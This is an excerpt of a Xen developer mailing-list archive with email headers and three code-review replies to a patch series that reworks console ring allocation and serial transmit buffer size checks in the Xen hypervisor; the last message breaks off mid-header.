         3Jsr9PSmuzpSDOANxPorEPecgY0BfODND9bUM+7I0FI4SLTclnxKTNWz0kjqHKl9x7Oz
         g8Dm3h3vx9E442UHS3Ya1GJ8moK8vQEh5c08hGH7JMWL/68kr1CVD+h5nZCdprxRXHTa
         UAvmFOTsVfhZZbLOkjMcff2CgWEEyWVAnzgg1hNDRWdp43iq559ahteNo0+ycWjSVGto
         P7bftwZ+gxYkU1B1W+OVLxQlDxmAAFlsvHF7fei1oYmQiXZWPdsL0FZiyT/MJ9QTu4JN
         JKXw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784559466; x=1785164266;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=gWaBeMNDr+Npz16fsL5v+nUe3108yEO7NWb8C6McDBw=;
        b=KTPfXv7tgUNj8zzT/MWpUAHW5mfcFwKnftQdSQ3m//xmPdX/VLTCkvIIoAFjofYhWz
         f/wqT1pk21mtoFirEP8TKTsBwx1H6WiNC4ctCZEn8HDvDMmpfLfT7JKFQvO6GtZx/Wj1
         FzEVTW5w54EiTMD1+5tAZZgt3hy7wnXiJD9EELebx894IGWZ+iEWkfxpRWIS6JQ51dJi
         /yGYpBNUKpjIb9EIJwdS7Ymzxvgu1hoO+/ZlBJVC+fX4TfZORGhNGckcAGojPoumR6RE
         baYvfUe39zOBplDhrsI1yLhAqmZe3F/FrrvZA4NAUgbL+6uwgQl2yddbMEN/WuUbEQmB
         vYAA==
X-Forwarded-Encrypted: i=1; AHgh+RpKd6iwRq/bMdWqGf62mTTeQ7LU+wMu0fNYoiCKMJwse5O7AV6N/k1aO1G9+OV/xDgRlxSngsGHuEg=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxErDoKNKpm2XKV6cBogvxBmYNaMyfjI2L+i06ad+/JhuQhySiO
	br1gEQApKbulXFogmXtrb/xXJW2MbygKv952AHX5Qy1wI8NyOGV8YfPjiuwYVYU/lQ==
X-Gm-Gg: AR+sD13bJzSoRFpuiJJoGkU02E6GA+6/m9DROLo0gB9NEK680fhXfpx3S9JQrz6mbwD
	2E+xPpTjyd8R7GtanZD5HMGw1BGCgjoB2Tsp+b0nUPdqYPFzzrbt0x1sb26A75mSbKGXI+tEmHU
	TvN3HJ39Kie2ZmlPgygiW4hn/pDdt6RrMf61TxT61dj5RIxhfBIMIfR5LWSlCkcobnz3hrW6X52
	JvSjepdNheacCsGB1JuP/EKU1GcaokdMR5aryU0FG6SylVq1bO9G4fxB/r7asW3z4UeV+BHhaYM
	5kEL6WWvjVtAXQv0TqiEXps/3CvuaHUkZKRxj6P+J/VvZGinlYbm40g5qQh1oZtOyyN6tuQJeOK
	Mra0En+GnraQVTa1gK/BL+J5KEYW4tnvKfLHFqclqcgXa3L+BlHlYkJrngz55aIwFSqQfi6k9Up
	J+2kOwPntoPJ8gcrr0UkrSk93qrcDEPkKhkHNVww8CGQWn4aiS8Ytmz+cczGaBVkVjcQ==
X-Received: by 2002:a5d:5f0a:0:b0:477:6874:542c with SMTP id ffacd0b85a97d-47f6230c34dmr18338510f8f.22.1784559465958;
        Mon, 20 Jul 2026 07:57:45 -0700 (PDT)
Message-ID: <0fefa50c-46aa-4ede-a8e2-8c2c619bc2ab@suse.com>
Date: Mon, 20 Jul 2026 16:57:44 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 4/7] xen/console: switch conring runtime allocation to
 xvmalloc
To: dmukhin@ford.com
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, julien@xen.org,
 michal.orzel@amd.com, roger.pau@citrix.com, sstabellini@kernel.org,
 xen-devel@lists.xenproject.org
References: <20260713181619.672176-1-dmukhin@ford.com>
 <20260713181619.672176-5-dmukhin@ford.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqq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AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260713181619.672176-5-dmukhin@ford.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1784559466-6F0C94E9-F65332C1/0/0
X-purgate-type: clean
X-purgate-size: 1743

On 13.07.2026 20:16, dmukhin@ford.com wrote:
> @@ -474,20 +475,26 @@ void __init console_init_ring(void)
>  {
>      char *ring;
>      XENCONS_RING_IDX done, size, n;
> -    unsigned int order, memflags;
>      unsigned long flags;
>  
>      if ( !opt_conring_size )
>          return;
> -

Please can we keep this blank line and ...

> -    order = get_order_from_bytes(max(opt_conring_size, conring_size));
> -    memflags = MEMF_bits(crashinfo_maxaddr_bits);
> -    while ( (ring = alloc_xenheap_pages(order, memflags)) == NULL )
> +    else if ( opt_conring_size > GB(2) )

... have this be just "if ()"? (I'd also suggest to make the "positive" case
the "if()" part and have the out-of-range one in the "else" body.)

>      {
> -        BUG_ON(order == 0);
> -        order--;
> +        printk(XENLOG_WARNING "Limiting user-configured console ring size to 2 GiB\n");

Nit: Too long line. Yes, format strings shouldn't be split, but XENLOG_* can
every well live on a separate line.

> +        opt_conring_size = GB(2);
>      }
> -    opt_conring_size = PAGE_SIZE << order;
> +    else
> +    {
> +        unsigned int order = get_order_from_bytes(max(opt_conring_size,
> +                                                      conring_size));
> +        opt_conring_size = PAGE_SIZE << order;

Nit: Blank line please between declaration(s) and statement(s).

> +    }
> +
> +    ring = xvmalloc_array(char, opt_conring_size);
> +    if ( !ring )
> +        panic("Unable to allocate console ring of %u KiB\n",
> +              opt_conring_size >> 10);

Why do you lose the prior behavior of halving the size until allocation
succeeds (or we can't even allocate a single page)?

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 15:09:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 15:09:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366701.1616647 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlpcW-0000LY-Ra; Mon, 20 Jul 2026 15:09:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366701.1616647; Mon, 20 Jul 2026 15:09:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlpcW-0000LR-Oi; Mon, 20 Jul 2026 15:09:28 +0000
Received: by outflank-mailman (input) for mailman id 1366701;
 Mon, 20 Jul 2026 15:09:27 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wlpcV-0000LL-Bw
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 15:09:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlpcT-009sHG-KR
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 17:09:25 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5e3a16-e002-0a2a0a5209dd-0a2a4503e8d8-44
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:09:25 +0200
Received: from [209.85.221.47] (helo=mail-wr1-f47.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5e3a24-fae8-0a2a45030019-d155dd2fe59e-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:09:24 +0200
Received: by mail-wr1-f47.google.com with SMTP id
 ffacd0b85a97d-47f707e5d75so960378f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 08:09:24 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63e496ffsm30186835f8f.3.2026.07.20.08.09.23
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 08:09:23 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784560164; x=1785164964; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=1zb1vNkLBdFCkrNLsS+pMSBjXT/0AYGorFJ2yERp/1w=;
        b=DrXh1ONU1503SH9BCCyUvV89o6UP8UALJborVH2yRMdgUv/xEd8sP/lu04Md5cKIb7
         ldSOHUNEUZL5Gjb/lOvYYD/5ftSbfy9Ni7Mo1G64sm6KiqTFIhCCj61NB3m7DhHA8Pdy
         yvb8zjRpdTkb1cdHTw8XRonA16yjsQsGeBbsD7htagurTVignZW4Xrt2Q6DUSFhdfE4J
         4EmjW1lJMADz1vna5tJOEcqgtQ2FKidT2sh6sosWJb2z04kUUNLOFky2O8J1iZ91wIz9
         KwOeUr7/NmZpfajjF5rKW364xbYdgTp3FsH2YA1QDTEsRBoaMwffIJrpYhlzz934k9+E
         7gEg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784560164; x=1785164964;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=1zb1vNkLBdFCkrNLsS+pMSBjXT/0AYGorFJ2yERp/1w=;
        b=rBIMi7TuP3f4jgZLmRNpvmDNTAvHa8oUZshxPSKxM+zubjLaT8VDmOgJexcOdk5Qwo
         MeZQGpCfNunrYhdrCBLg3rqaK2VwDM8aTduK81jq7RDVMzoD3g4kOHZSE3SYiP5/gEnu
         2ROcw1l9D2a4m5zwkirJw4qufi3TUFI4Z8od2pMp1vgYhp7zynSMb4/ZIWQjY8ja2XxQ
         2HGEbG2qTdg5JZOf0dZiIow27ZSbQFKdAqJ4Z8jw7Xm1bH/Q3wvsdh9jcg5xmOAx82bg
         t2qCWg85t3qTGn2nlFrdc1d9k3pQWSgyPFHhN1V88EvQe9Qu3z17/RcR4yWEDOvX427I
         80/w==
X-Forwarded-Encrypted: i=1; AHgh+RqW4vG9etKXFCtYzpKdpBUDk7QF/DG7cIInzr40552pcF9P2Bbjo1BE8c7m2Ea7FSfcCFO9mMVQw7E=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy9h2/iY00JHRS5J4jUymhuy3KhcXL33SicJySde2PBp90fvMEB
	agQDHwGVXbsdmVx5vk/szZWXIdgW7Muj22jDElnFH0OvCbhWpueIhOzZxRXCQSdy+A==
X-Gm-Gg: AR+sD13qVCpOkD/lGIUZVTAI2NC2qjhNKf3yQjXBzPGcAzK7kUZuFu8ce5pBBk9wmuf
	uRUvFAwvzc/0c/ozyFaJfwd6Ve3ZodHz8hueCXMvIiJ8ZzpIJAhh4mkLcqzShkA6YAwu6jzc+Iz
	FpAOgo52fNnpJWuIRU0pwEfpRKJrs77u9ePpaQTi7GdhOwX1WNu/6+hlrPxDk+gwvQsS6+c37MW
	ufB3Fmvl88RmQZRRt5e8TPlv/PUkH55TMWeHNoKdOz56BIm2zZLG1CLsVkiXfxeeE59GUD4gBI9
	2PMWataApmxdmgoooeufCFBsA7XuAn9a3WTLT7GcTUT6lreL2bMfoceiPadr7E+zWrpZ/tH70B8
	UAS9feB4HHcAMO9hPMMLVXdnAt1/ZX8pIO3mIp7zgWssdsf6zvY9r/Fhz7HRuIi9yHflqLWu/3g
	hoDzE0pToRuIyO9A5Gf81CpFWO4ysqhw/siV1QwXN25OI8CK7HQ/kln2WdYRiqNl++IQ==
X-Received: by 2002:a05:6000:4615:b0:473:1ccc:15bf with SMTP id ffacd0b85a97d-47f62334c16mr17230718f8f.42.1784560164316;
        Mon, 20 Jul 2026 08:09:24 -0700 (PDT)
Message-ID: <89029dbd-df1f-45d4-8a02-720cd6a42cab@suse.com>
Date: Mon, 20 Jul 2026 17:09:23 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 6/7] xen/serial: harden serial_tx_buffer checks
To: dmukhin@ford.com
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, julien@xen.org,
 michal.orzel@amd.com, roger.pau@citrix.com, sstabellini@kernel.org,
 xen-devel@lists.xenproject.org
References: <20260713181619.672176-1-dmukhin@ford.com>
 <20260713181619.672176-7-dmukhin@ford.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3n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vRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260713181619.672176-7-dmukhin@ford.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1784560164-6C6DE4E9-B29DD7A9/0/0
X-purgate-type: clean
X-purgate-size: 2730

On 13.07.2026 20:16, dmukhin@ford.com wrote:
> From: Denis Mukhin <dmukhin@ford.com> 
> 
> Ensure the user-defined value never crosses 2GB boundary and always
> rounded to the next power of 2 to align with console driver conring
> buffer management code.
> 
> Signed-off-by: Denis Mukhin <dmukhin@ford.com>
> ---
> Changes since v6:
> - new patch
> ---
>  docs/misc/xen-command-line.pandoc |  2 ++
>  xen/drivers/char/serial.c         | 21 ++++++++++++++++++++-
>  2 files changed, 22 insertions(+), 1 deletion(-)
> 
> diff --git a/docs/misc/xen-command-line.pandoc b/docs/misc/xen-command-line.pandoc
> index 1c711fa98086..2be8772b329a 100644
> --- a/docs/misc/xen-command-line.pandoc
> +++ b/docs/misc/xen-command-line.pandoc
> @@ -2396,6 +2396,8 @@ accidentally leaking secrets by releasing pages without proper sanitization.
>  
>  Set the serial transmit buffer size.
>  
> +The value provided will be rounded down to the nearest power of 2.
> +
>  ### serrors (ARM)
>  > `= diverse | panic`
>  
> --- a/xen/drivers/char/serial.c
> +++ b/xen/drivers/char/serial.c
> @@ -16,7 +16,26 @@
>  #include <asm/processor.h>
>  
>  unsigned int __ro_after_init serial_txbufsz = CONFIG_SERIAL_TX_BUFSIZE;
> -size_param("serial_tx_buffer", serial_txbufsz);

Before making this change, surely you did look at the difference between
size_param() and integer_param()? You should have noticed that you regress
behavior by ...

> +static int __init cf_check parse_serial_txbufsz(const char *s)
> +{
> +    long long val;
> +
> +    if ( parse_signed_integer("serial_tx_buffer", s, NULL, &val) )
> +        return 0;

... using this function. It's additionally unclear why a signed value
would want parsing here: What's a ring of negative size?

> +    if ( val < KB(16) || val > GB(2) )
> +    {
> +        printk(XENLOG_WARNING "'serial_tx_buffer=%lld' value out of range, "
> +               "falling back to default\n", val);
> +        val = CONFIG_SERIAL_TX_BUFSIZE;

In the earlier patch you used the upper bound for too large a value. Why
does it become the default size here in such a case?

> +    }
> +
> +    serial_txbufsz = PAGE_SIZE << get_order_from_bytes(val);
> +
> +    return 0;
> +}
> +custom_param("serial_tx_buffer", parse_serial_txbufsz);

Overall you're duplicating behavior that serial_async_transmit() provides.
Why would we need such duplication? The more that there everything up from
PAGE_SIZE is permitted, while you require at least 16k. If you want to add
useful extra checks, put them there. Bonus would be to also replace the
alloc_xenheap_pages() there (unless there's a hidden reason for it to
remain physically contiguous).

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 15:40:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 15:40:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366712.1616658 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlq6m-0005Tk-5W; Mon, 20 Jul 2026 15:40:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366712.1616658; Mon, 20 Jul 2026 15:40:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlq6m-0005Td-1n; Mon, 20 Jul 2026 15:40:44 +0000
Received: by outflank-mailman (input) for mailman id 1366712;
 Mon, 20 Jul 2026 15:40:43 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wlq6l-0005TV-1j
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 15:40:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlq6k-001kTk-01
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 17:40:42 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5e4163-5cb7-0a2a0a5109dd-0a2a4508b5ec-12
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:40:41 +0200
Received: from [209.85.221.48] (helo=mail-wr1-f48.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5e4179-f659-0a2a45080019-d155dd30b05f-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 17:40:41 +0200
Received: by mail-wr1-f48.google.com with SMTP id
 ffacd0b85a97d-472326ca506so7942356f8f.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 08:40:41 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f6b85970esm24675928f8f.15.2026.07.20.08.40.40
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 08:40:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784562041; x=1785166841; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=2X8mR/1VAWx9xNH27DUHchiHZDckXmTuxhRcRPJdEeA=;
        b=NhQe4sJMD4qJe2Sr/o6P65Kf2sQWCp/CUPSjLqgS86RmpvzmUzwWeRm9oqq+Qjv7uN
         6griCh3lYu7JpElHGOnlVrVGkggZc8MQVcgT2Aw+Zi2McMat+VdP0RiCwpgm19zUtyt9
         KAiv6LoZxrh153xovKEzja+0BFRfAVSOp95Vv1hRzCdVab1hSGOwLLpTs2UIfe/THke1
         uRdbRWxlHXBHfOQEW7VORkVXLChczkh2rxHgvEbNSgFIYjPupS+9GdlZqjehZAyDa6ZV
         VJZzOGnBiUrE8IvMMJ520uJBhnf1fRi/7nGLHWzR00GY8vvaqEtzA3i+gy+6vx4bvoTR
         AwOw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784562041; x=1785166841;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=2X8mR/1VAWx9xNH27DUHchiHZDckXmTuxhRcRPJdEeA=;
        b=Zk6y7WM6CwbGuMPrtMHEabvrtQrDovAqe8Vh5MuOLAfruHJigRU0TKyEGNlKGXUkuV
         QAI4F0G0bcfguvMvFYYM3lhKZHLKYHPLqH1UZR+J4XhgwyAdluJ+t4i9kM6cuicaJ43H
         d1bGeW5WPRy1OZt/Bm2LfPOmbm1j2aRWuDp88VU40b7MWxOfSVLfHfdVQDWGwnPzseNZ
         v3CyOq+CPlh3+9dpb7KBZjpGrdJg9CDo8a3lwKOOyN2PQPD2lMvVUCs/ExA1qg8DDwTv
         52PtA9V6q2FO+nOR/GaHD9TG5Flnz0buIWCJ6oXBAH3DY2uHUZ2BdLgsNqaAoFQe+kLh
         cqTg==
X-Forwarded-Encrypted: i=1; AHgh+RrV2SnVjMunhaHeaQ87XVR7j4yxjW6jTb6HUFriTVyym/hJ0QGbVxR1h/m9ZdwzsCrVxQ0FfECqHfQ=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzFJTYvbsFCZj8W4Ss5cdz69sqn7yXZouN7tnqtK9gpmuHy5COQ
	uQ7njh39cYYAo+UuUIe9EB7xjdVQv/rVLW5hIBSEK/SLAMo8NL517jF8FBsHdEpe1A==
X-Gm-Gg: AR+sD1212dHvj5U90jEyp0h9KQPhf5VTcvk8kIVZHzDxvkqYtdBpzW83OGoQpz06Fjl
	vBZUGzBnWvSuQfy+QKov8pLyXaJw1LHeRqt5T/lJJ3Iutxvjc3jB2TlKtmQGv+wMLPv7kOTFYaS
	n8MmmKtX83qKzHIl2NHMPQtZLX67byWz9EBTNP2DvDFaNh+Q3AHvKu4H/6rET8NW3SvOEaxsOV6
	GKvDF+vn/LJLZXetFuJo8Zvzz9aGGnr8u/+3y/17yf4P+511RgyYPQhoNhPrIyUQXCJDJxZNfFt
	B6zgqi4792wyCIOJDskltvuLmmkimxajQbKsyf+YDW7EzCEPKfzhNPzBCMY0puy52Rd4NMiO/c0
	EdGX46LGFElGwZWdeCt77uebqE/4X68asTv8mOscGupFW35q2nii6rLNVDPZHwN6wW53G50a/Bu
	SxDNHjjA/GSpMNbk+DtzuiT6yU7enbk+F8GS2qKn7Y0L1hDFhvWYyfR7ik+5xCsxIokg==
X-Received: by 2002:a05:6000:4a01:b0:47a:b86f:3ed1 with SMTP id ffacd0b85a97d-47f623060bemr18223846f8f.21.1784562041348;
        Mon, 20 Jul 2026 08:40:41 -0700 (PDT)
Message-ID: <330e8bd1-c00b-470c-97af-fb273e11cf73@suse.com>
Date: Mon, 20 Jul 2026 17:40:40 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 5/7] xen/serial: drop stale SERIAL_NEVER_DROP_CHARS
To: dmukhin@ford.com
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, julien@xen.org,
 michal.orzel@amd.com, roger.pau@citrix.com, sstabellini@kernel.org,
 xen-devel@lists.xenproject.org
References: <20260713181619.672176-1-dmukhin@ford.com>
 <20260713181619.672176-6-dmukhin@ford.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTV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VdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260713181619.672176-6-dmukhin@ford.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1784562041-D694287B-888BC1E1/0/0
X-purgate-type: clean
X-purgate-size: 824

On 13.07.2026 20:16, dmukhin@ford.com wrote:
> From: Denis Mukhin <dmukhin@ford.com> 
> 
> Signed-off-by: Denis Mukhin <dmukhin@ford.com>

It would have helped if the origin of it being stale was identified right
away. Looks like 275485700163 ("Bring back console_start_log_everything()
as a milder alternative to") dropped the sole use only a few weeks after
its introduction.

Acked-by: Jan Beulich <jbeulich@suse.com>

> --- a/xen/drivers/char/serial.c
> +++ b/xen/drivers/char/serial.c
> @@ -15,9 +15,6 @@
>  
>  #include <asm/processor.h>
>  
> -/* Never drop characters, even if the async transmit buffer fills. */
> -/* #define SERIAL_NEVER_DROP_CHARS 1 */
> -
>  unsigned int __ro_after_init serial_txbufsz = CONFIG_SERIAL_TX_BUFSIZE;
>  size_param("serial_tx_buffer", serial_txbufsz);
>  



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 15:49:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 15:49:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366720.1616667 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqFH-00064g-V2; Mon, 20 Jul 2026 15:49:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366720.1616667; Mon, 20 Jul 2026 15:49:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqFH-00064Z-Qz; Mon, 20 Jul 2026 15:49:31 +0000
Received: by outflank-mailman (input) for mailman id 1366720;
